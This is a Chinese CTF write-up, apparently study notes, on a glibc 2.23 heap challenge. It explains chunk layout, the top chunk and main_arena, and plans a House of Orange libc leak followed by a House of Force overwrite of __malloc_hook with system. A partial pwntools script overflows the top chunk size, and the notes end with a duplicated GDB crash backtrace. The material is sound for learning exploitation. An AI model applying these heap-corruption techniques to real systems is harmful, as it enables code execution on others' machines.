House of Orange

我不中了我放弃了我低头了

freerabbit

chunk

https://www.yuque.com/xswlhhh/ctf/dn1h48dsw8fd6apm?language=zh-cn#

在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。当程序申请的 chunk 被 free 后,会被加入到相应的空闲管理列表中。非常无论一个 chunk 的大小如何,处于分配状态还是释放状态,它们都使用一个统一的结构。虽然它们使用了同一个数据结构,但是根据是否被释放,它们的表现形式会有所不同。

malloc_chunk的结构

1
2
3
4
5
6
7
8
9
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

chunk 处于分配状态时,从 fd 字段开始是用户的数据。

也就是相当于prev_size(8字节)+ size(8字节)+ data

GLIBC 为了节省空间,把 size 字段的最后 3 位借用来当标志位(因为块大小永远是 16 的倍数,最后 4 位二进制永远是 0,空着也是浪费)。

  • 第 0 位 (PREV_INUSE): 值为 1 时,表示前一个块正在被使用。
  • 第 1 位 (IS_MMAPPED): 表示这个块是不是通过 mmap 分配的。
  • 第 2 位 (NON_MAIN_ARENA): 表示这个块是否属于主分配区。

当你看到 0x21 时:

  • 0x20 是真实的物理大小(32 字节)。
  • + 1 是因为前一个块(即 Intro 块)正在被使用。
  • 所以 0x20+1=0x21。

Top Chunk

程序第一次进行 malloc 的时候,heap 会被分为两块,一块给用户,剩下的那块就是 top chunk。其实,所谓的 top chunk 就是处于当前堆的物理地址最高的 chunk。这个 chunk 不属于任何一个 bin,它的作用在于当所有的 bin 都无法满足用户请求的大小时,如果其大小不小于指定的大小,就进行分配,并将剩下的部分作为新的 top chunk。否则,就对 heap 进行扩展后再进行分配。在 main arena 中通过 sbrk 扩展 heap,而在 thread arena 中通过 mmap 分配新的 heap。需要注意的是,top chunk 的 prev_inuse 比特位始终为 1,否则其前面的 chunk 就会被合并到 top chunk 中。初始情况下,我们可以将 unsorted chunk 作为 top chunk。

main_arena

main_arena 是 Libc 里的一个结构体,负责管理所有的堆块。它里面有一个数组叫 bins,存放着各种空闲链表的表头。

在 GLIBC 2.23 中,bins 数组的第一个元素就是 Unsorted Bin

  • main_arena 的起始地址到 Unsorted Bin 表头位置的距离刚好是 88 字节。
  1. 当你修改 Top Chunk Size 为 0xbb1 并申请 0xc00 时,malloc 发现不够分,于是调用 sysmalloc
  2. sysmalloc 会将这个旧的、被缩减的 Top Chunk “丢进” Unsorted Bin。
  3. 在双向链表中,如果链表是空的,新加入的块的 fd(前向指针)和 bk(后向指针)都会指向链表的管理者(也就是 main_arena 里的那个表头位置)。

结论: 此时旧 Top Chunk 的数据区(Addr + 0x10)里就躺着 main_arena + 88 的真实地址。因为 main_arena 在 Libc 内部,你只要读出这个地址,减去固定的偏移,就能算出 Libc 的基地址。

image-20260407144042557

这是一道典型的 Heap(堆) 类型题目,主要考察在没有 free 函数的情况下,如何利用**堆溢出(Heap Overflow)**实现泄露地址(Leak)和获取 Shell(Exploit)。

fastbin/tcache需要free函数

泄露libc基址:House of Orange

改写内存:House of Force

需要的信息:当前 Top Chunk 的地址,目标地址,或者偏移

步骤:

利用 House of Orange 泄露 Libc,算出 __malloc_hook 的地址。

利用 House of Force 强行申请到 __malloc_hook 所在的内存。

system 的地址写入 __malloc_hook

下一次程序调用 malloc 时(比如 coffee2 里的 malloc(0x10)),它就会自动变成 system("/bin/sh")

其他保护措施:

新建和修改的次数有限(n2 n3计数)

程序运行 30 秒后会自动自杀,会报Kami sama is angry!

获取libc版本

1
strings libc.so.6 | grep GLIBC

找到类似于这样的一行。这题是2.23

1
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu11.2) stable release version 2.23

coffee1,新建一杯咖啡

有三次malloc操作,一次存intro的长度(大小固定是16),一次存intro,一次存name(大小固定是16)。intro长度不能超过4096

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
qword_202020 = (__int64)malloc(0x10u);
puts("Length of your coffee's introduction: ");
n16 = sub_94D();
if ( n16 > 4096 )
{
puts("Are you ok???");
exit(-1);
}
v0 = qword_202020;
*(_QWORD *)(v0 + 8) = malloc(n16);
puts("introduction of your coffee: ");
sub_9A6(*(_QWORD *)(qword_202020 + 8), n16);
v1 = (void **)qword_202020;
*v1 = malloc(0x10u);
puts("Name of your coffee: ");
sub_9A6(*(_QWORD *)qword_202020, 15);
++n3;

查看top chunk地址

需要在gdb中设置glibc版本,然后让程序运行并至少malloc一个块,然后输入heap

断点要用rebase(b *($rebase(0xa47))

image-20260407151548943

top chunk地址是0x5555556032f0

申请一杯新咖啡之后,第二个chunk是存introduction的,第三个chunk是存name的

Intro 数据区开始: 0x5555556032c0 (Chunk 地址 + 0x10 Header)。

Top Chunk Size 位置: 0x5555556032f8 (Top Chunk 地址 + 0x8)。

所以padding长度是0x38

coffee3,也就是修改选项对应的函数中存在越界写漏洞。指针还是指向之前分配好的coffee,但是可以修改introduction的长度,并且没有检查有没有超过之前分配的大小

1
2
3
4
5
6
7
8
9
10
sub_9A6(*(_QWORD *)qword_202020, 16);
puts("Length of your coffee's new introduction: ");
n16 = sub_94D();
if ( n16 > 4096 )
{
puts("Are you ok???");
exit(-1);
}
puts("New introduction of your coffee: ");
sub_9A6(*(_QWORD *)(qword_202020 + 8), n16);

第一步改小top chunk。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *

context(arch="amd64",os="linux",log_level="debug")
context.terminal = ["tmux", "splitw", "-h", "-p", "70"]

file_path = './freerabbit'
elf = ELF(file_path)
libc = ELF('libc.so.6')
p = process(file_path)
gdb.attach(p, 'b *($rebase(0xB22))')

# 申请
p.recvuntil(b'----Orz')
p.sendline(b'1')
p.recvuntil(b'coffee\'s introduction:')
p.sendline(b'10')
p.recvuntil(b'your coffee:')
p.sendline(b'1234567')
p.recvuntil(b'your coffee:')
p.sendline(b'1')

# 修改
p.recvuntil(b'----Orz')
p.sendline(b'3')
p.recvuntil(b'New name of your coffee: ')
p.sendline(b'1')
p.recvuntil(b'Length of your coffee\'s new introduction: ')
p.sendline(b'100')
p.recvuntil(b'New introduction of your coffee: ')
payload = b'a' * 0x38 + p64(0xfe1)
p.sendline(payload)
pause()

倒是改小了,但是top chunk直接没了。说是因为gdb解析最后一个chunk,发现这个size太大了,超出了内存范围,就不继续看了。然后系统检查下一个块在哪,发现下一个块地址都非法了。所以说溢出的时候不要过于破坏name那个chunk了,顺手修一修

image-20260407161958403

把name块的size部分修一下,能识别出来了。top chunk的size也改好了

image-20260408113854101

第二步申请大空间,泄露libc

这个错误是因为没有满足页对齐检查,需要满足:

1
(Top Chunk 起始地址+Top Chunk Size)(mod0x1000)==0

image-20260407163853537

所以说笛老大的top chunk的size也不是随便设的,应该是为了好对齐(额啊啊啊啊啊好麻烦)

我这的top chunk地址是 0x556b0a03d470,算一下size就是0x1000 - (0x470)。对齐之后改成功了

image-20260408115858950

这是想作甚呢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/build/gdb-Dh0pdX/gdb-12.1/gdb/nat/x86-linux-dregs.c:146: internal-error: x86_linux_update_debug_registers: Assertion `lwp_is_stopped (lwp)' failed.
A problem internal to GDB has been detected,
further debugging may prove unreliable.
----- Backtrace -----
0x55cf3f344ff7 ???
0x55cf3f6a9a44 ???
0x55cf3f6a9c80 ???
0x55cf3f7f90f4 ???
0x55cf3f546ee3 ???
0x55cf3f4e25f4 ???
0x55cf3f4e2bae ???
0x55cf3f4f1ac7 ???
0x55cf3f65ec5f ???
0x55cf3f672231 ???
0x55cf3f304284 ???
0x55cf3f7f9c61 ???
0x55cf3f5052fc ???
0x55cf3f506fe4 ???
0x55cf3f29d10f ???
0x7f1761141d8f __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
0x7f1761141e3f __libc_start_main_impl
../csu/libc-start.c:392
0x55cf3f2a2ba4 ???
0xffffffffffffffff ???
---------------------

This is a bug, please report it. For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.

image-20260407160726111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/build/gdb-Dh0pdX/gdb-12.1/gdb/nat/x86-linux-dregs.c:146: internal-error: x86_linux_update_debug_registers: Assertion `lwp_is_stopped (lwp)' failed.
A problem internal to GDB has been detected,
further debugging may prove unreliable.
----- Backtrace -----
0x55cf3f344ff7 ???
0x55cf3f6a9a44 ???
0x55cf3f6a9c80 ???
0x55cf3f7f90f4 ???
0x55cf3f546ee3 ???
0x55cf3f4e25f4 ???
0x55cf3f4e2bae ???
0x55cf3f4f1ac7 ???
0x55cf3f65ec5f ???
0x55cf3f672231 ???
0x55cf3f304284 ???
0x55cf3f7f9c61 ???
0x55cf3f5052fc ???
0x55cf3f506fe4 ???
0x55cf3f29d10f ???
0x7f1761141d8f __libc_start_call_main
../sysdeps/nptl/libc_start_call_main.h:58
0x7f1761141e3f __libc_start_main_impl
../csu/libc-start.c:392
0x55cf3f2a2ba4 ???
0xffffffffffffffff ???
---------------------

This is a bug, please report it. For instructions, see:
<https://www.gnu.org/software/gdb/bugs/>.